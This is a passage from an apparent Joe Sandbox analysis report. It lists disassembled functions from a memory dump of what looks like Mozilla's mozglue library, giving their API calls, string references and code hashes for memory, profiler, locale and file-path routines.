Part of subcall function 6C5BCAB0: LeaveCriticalSection.KERNEL32(?), ref: 6C5BCBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C5B7EC4
mozalloc_abort.MOZGLUE(?), ref: 6C5B7F19
malloc.MOZGLUE(?), ref: 6C5B7F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C5B7F4D

Strings

d, xrefs: 6C5B7F89

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: 675ea6bd66d6b45139d2589f8201d95b6ef2e13bff29204be089a5a19b7ed3bd
Instruction ID: 83313b412103125404552f21bd1eb796919a6c4a3b35b4f62e64ca8bac2aa9cd
Opcode Fuzzy Hash: 675ea6bd66d6b45139d2589f8201d95b6ef2e13bff29204be089a5a19b7ed3bd
Instruction Fuzzy Hash: 06312671E0438897DB019B39CC409FEB778EF96248F055229ED4967612FB34A988C398

Function 6C5B3E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?,?,?,?,?,?,6C5B3CCC), ref: 6C5B3EEE
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C5B3FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040,?,?,?,?,?,6C5B3CCC), ref: 6C5B4006
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C5B40A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C5B3CCC), ref: 6C5B40AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C5B3CCC), ref: 6C5B40C2
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C5B4134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C5B3CCC), ref: 6C5B4143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C5B3CCC), ref: 6C5B4157

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: 638c05664b1b9703153542f3fbf18edb8bb9a733c28869e8d6ff175399c6a648
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: 8AA17EB1A00215CFDB50CF68C89065ABBB5FF88318F2545A9D909AF752D771E886CBA0

Function 6C5A2030 Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,6C5C3F47,?,?,?,6C5C3F47,6C5C1A70,?), ref: 6C5A207F
memset.VCRUNTIME140(?,000000E5,6C5C3F47,?,6C5C3F47,6C5C1A70,?), ref: 6C5A20DD
VirtualFree.KERNEL32(00100000,00100000,00004000,?,6C5C3F47,6C5C1A70,?), ref: 6C5A211A
EnterCriticalSection.KERNEL32(6C62E744,?,6C5C3F47,6C5C1A70,?), ref: 6C5A2145
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004,?,6C5C3F47,6C5C1A70,?), ref: 6C5A21BA
EnterCriticalSection.KERNEL32(6C62E744,?,6C5C3F47,6C5C1A70,?), ref: 6C5A21E0
LeaveCriticalSection.KERNEL32(6C62E744,?,6C5C3F47,6C5C1A70,?), ref: 6C5A2232

Strings

MOZ_CRASH(), xrefs: 6C5A227D
MOZ_RELEASE_ASSERT(node->mArena == this), xrefs: 6C5A2253, 6C5A2268

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$EnterVirtual$AllocFreeLeavememcpymemset
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(node->mArena == this)
API String ID: 889484744-884734703
Opcode ID: 86f7b2715af6e9c6877d8ef67d9f51b278ee3edee4ddc2bc8f8011083f56c2d3
Instruction ID: f906794ea276d6b7bf528a3efdfbbbe4a353718c8b8b2fe4fc34d5b5ade621a2
Opcode Fuzzy Hash: 86f7b2715af6e9c6877d8ef67d9f51b278ee3edee4ddc2bc8f8011083f56c2d3
Instruction Fuzzy Hash: 8361C231F002168FCB04CAABCD8A76E76B1EF85318F254639E929A7A94D7749C01CA85

Function 6C5F9D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C5F8273), ref: 6C5F9D65
free.MOZGLUE(6C5F8273,?), ref: 6C5F9D7C
free.MOZGLUE(?,?), ref: 6C5F9D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C5F9E0F
free.MOZGLUE(6C5F946B,?,?), ref: 6C5F9E24
free.MOZGLUE(?,?,?), ref: 6C5F9E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C5F9EC8
free.MOZGLUE(6C5F946B,?,?,?), ref: 6C5F9EDF
free.MOZGLUE(?,?,?,?), ref: 6C5F9EF5

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 787a0062091700d61be2b65576cfdc054fefc4eac589345f2f7d66a646773795
Instruction ID: 14cf36fab5c8c4ff030dd84be57df243b4357bda1339c2fbb0f3b53d882bc4a9
Opcode Fuzzy Hash: 787a0062091700d61be2b65576cfdc054fefc4eac589345f2f7d66a646773795
Instruction Fuzzy Hash: 1E719DB0A09B41CBC716CF58C88059AF3F4FF99314B84965DE95A9B701EB30E886CBD1

Function 6C5FDDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C5FDDCF

Part of subcall function 6C5DFA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5DFA4B

Part of subcall function 6C5F90E0: free.MOZGLUE(?,00000000,?,?,6C5FDEDB), ref: 6C5F90FF
Part of subcall function 6C5F90E0: free.MOZGLUE(?,00000000,?,?,6C5FDEDB), ref: 6C5F9108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5FDE0D
free.MOZGLUE(00000000), ref: 6C5FDE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5FDE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5FDEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5FDEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C5EDEFD,?,6C5B4A68), ref: 6C5FDF32

Part of subcall function 6C5FDAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C5FDB86
Part of subcall function 6C5FDAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C5FDC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C5EDEFD,?,6C5B4A68), ref: 6C5FDF65
free.MOZGLUE(?), ref: 6C5FDF80

Part of subcall function 6C5C5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C5C5EDB
Part of subcall function 6C5C5E90: memset.VCRUNTIME140(ew`l,000000E5,?), ref: 6C5C5F27
Part of subcall function 6C5C5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C5C5FB2

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: a93f226ff001548a579bb6d5680957d14381645c5c3d1099f92fa9ebc7e4e195
Instruction ID: e9d9f3a7715c3da00ed2307247d91099d61ff5c943ff41bb846aa0dd65ddfe1b
Opcode Fuzzy Hash: a93f226ff001548a579bb6d5680957d14381645c5c3d1099f92fa9ebc7e4e195
Instruction Fuzzy Hash: C451A3726016009BE7199F28CC806AEB376AFD1308F95051CDA2A53B00DB31F91BCF96

Function 6C605D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C605C8C,?,6C5DE829), ref: 6C605D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C605C8C,?,6C5DE829), ref: 6C605D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C605C8C,?,6C5DE829), ref: 6C605D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C605C8C,?,6C5DE829), ref: 6C605D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C605C8C,?,6C5DE829), ref: 6C605DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C605C8C,?,6C5DE829), ref: 6C605DC9
std::_Facet_Register.LIBCPMT ref: 6C605DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C605C8C,?,6C5DE829), ref: 6C605E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C605C8C,?,6C5DE829), ref: 6C605E45

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 871dac4c81d3ed0953dd66f54eddc66779fee5913753c2f61b4aebdab8ac5640
Instruction ID: e30331564348a2ea0243372d30cab556a56615624ce3625c0d870351296d7690
Opcode Fuzzy Hash: 871dac4c81d3ed0953dd66f54eddc66779fee5913753c2f61b4aebdab8ac5640
Instruction Fuzzy Hash: 65417F307002058FCB14EF6AC9D8AAE77FAEF89314F044469D50AA7791DB34A805CB6D

Function 6C5DCC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C5A31A7), ref: 6C5DCDDD

Strings

<jemalloc>, xrefs: 6C5DCF9F, 6C5DCFB3
: (malloc) Error in VirtualFree(), xrefs: 6C5DCFA4, 6C5DCFB8

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 59991e841da24b02a7d6701440c61c268d3e8a587b7c6203eb3020ac1d84045a
Instruction ID: 998e27ab659295d1e5994167c4859d8b0af2eea0761ea0fb29930de1b0c23f75
Opcode Fuzzy Hash: 59991e841da24b02a7d6701440c61c268d3e8a587b7c6203eb3020ac1d84045a
Instruction Fuzzy Hash: B031C770B403069BEF11AFAD8C85BAE7775EB81754F214015F611EBA80DB74F900CB99

Function 6C5AECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5AF100: LoadLibraryW.KERNEL32(shell32,?,6C61D020), ref: 6C5AF122
Part of subcall function 6C5AF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C5AF132

moz_xmalloc.MOZGLUE(00000012), ref: 6C5AED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5AEDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C5AEDCC
CreateFileW.KERNEL32 ref: 6C5AEE08
free.MOZGLUE(00000000), ref: 6C5AEE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C5AEE32

Part of subcall function 6C5AEB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C5AEBB5
Part of subcall function 6C5AEB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C5DD7F3), ref: 6C5AEBC3
Part of subcall function 6C5AEB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C5DD7F3), ref: 6C5AEBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C5AEDC1

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: ed7730c43932792132b6632c2cd87483b03c9e08a81952d9e3848b32a4ac58d0
Instruction ID: 98bbf4f3ef0777127e5ae27a845bd472b8300f5f5d205e968e16351221157966
Opcode Fuzzy Hash: ed7730c43932792132b6632c2cd87483b03c9e08a81952d9e3848b32a4ac58d0
Instruction Fuzzy Hash: 7551D071D05204CBDB00DFAACC806EEB7B1AF99318F44892DE8556B740E770695ACBA2

Function 6C61A520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C61A565

Part of subcall function 6C61A470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C61A4BE
Part of subcall function 6C61A470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C61A4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C61A65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C61A6B6

Strings

0, xrefs: 6C61A5FB
z, xrefs: 6C61A6AE

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: 353ff2b689af6809951fbe571db2c758c231e7299376bf09e47aaffb2fa8d897
Instruction ID: 915c25c0bad6a613ca7e3937631c18ba55314a02d7f2e53d91269edd6a871d94
Opcode Fuzzy Hash: 353ff2b689af6809951fbe571db2c758c231e7299376bf09e47aaffb2fa8d897
Instruction Fuzzy Hash: 4241357190C7459FC341DF28C480A8EBBE5BF89354F409A2EF49987651EB30EA49CB86

Function 6C5E9420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C5DAB89: EnterCriticalSection.KERNEL32(6C62E370,?,?,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284), ref: 6C5DAB94
Part of subcall function 6C5DAB89: LeaveCriticalSection.KERNEL32(6C62E370,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5DABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5B4A68), ref: 6C5E945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5E9470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5E9482
__Init_thread_footer.LIBCMT ref: 6C5E949F

Strings

MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C5E9459
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C5E947D
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C5E946B

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 289ca0ae295a1d3219f54df93742441ce228b5671d617e7840185ce4a8ec480a
Instruction ID: 0081f0393451ff0e005ba07dd94fe2a75616aa04fe90c0196bb49f527cd3ec27
Opcode Fuzzy Hash: 289ca0ae295a1d3219f54df93742441ce228b5671d617e7840185ce4a8ec480a
Instruction Fuzzy Hash: EA012430A0021197E7009B6EDC80A8A33B5AF4A329F040536ED0AC6F42E67BE8558D5F

Function 6C5F0F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5F0F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5F0F88
GetCurrentThreadId.KERNEL32 ref: 6C5F0FF7
InitializeConditionVariable.KERNEL32(?), ref: 6C5F1067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6C5F10A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6C5F114B

Part of subcall function 6C5E8AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6C601563), ref: 6C5E8BD5

free.MOZGLUE(?), ref: 6C5F1174
free.MOZGLUE(?), ref: 6C5F1186

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: 441e54d5f1ba146d7dba0d672967579636dd037b5972535edb80b6b7507001c5
Instruction ID: 5dc4cd5d72cd9a2c8126551d804169add4fd2bfe7fd077f56d23809184040024
Opcode Fuzzy Hash: 441e54d5f1ba146d7dba0d672967579636dd037b5972535edb80b6b7507001c5
Instruction Fuzzy Hash: 96618B75A043449BDB14DF25CC80B9AB7F6AFC5308F04891DE8A957712EB71E84ACF86

Function 6C5AB630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6C5AB61E,?,?,?,?,?,00000000), ref: 6C5AB6AC

Part of subcall function 6C5BCA10: malloc.MOZGLUE(?), ref: 6C5BCA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C5AB61E,?,?,?,?,?,00000000), ref: 6C5AB6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6C5AB61E,?,?,?,?,?,00000000), ref: 6C5AB6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C5AB61E,?,?,?,?,?,00000000), ref: 6C5AB70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6C5AB61E,?,?,?,?,?,00000000), ref: 6C5AB71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6C5AB61E), ref: 6C5AB73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6C5AB61E,?,?,?,?,?,00000000), ref: 6C5AB760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6C5AB61E,?,?,?,?,?,00000000), ref: 6C5AB79A

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: 86040440a6b5a666add629f8f4769de8ca988bcfd99eaa29ce1d05a203c244f9
Instruction ID: 0eaa3da87508b8389fc69d7f1b5e92b83b5973571bb3e035c648cbd8645011f0
Opcode Fuzzy Hash: 86040440a6b5a666add629f8f4769de8ca988bcfd99eaa29ce1d05a203c244f9
Instruction Fuzzy Hash: 7D41D4B2D001199FCB00EFA9DC805AEB7B5FB85324F250629E825E7790E771AD0587D1

Function 6C5AEF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6C625104), ref: 6C5AEFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C5AEFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C5AEFEC
free.MOZGLUE(?), ref: 6C5AF00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C5AF02E
memcpy.VCRUNTIME140(00000000,?), ref: 6C5AF041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5AF065
moz_xmalloc.MOZGLUE ref: 6C5AF072

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: 1d62eb0138c295c29f35ef9a7b886493b4a41a722277b0f439d18e8761789a9b
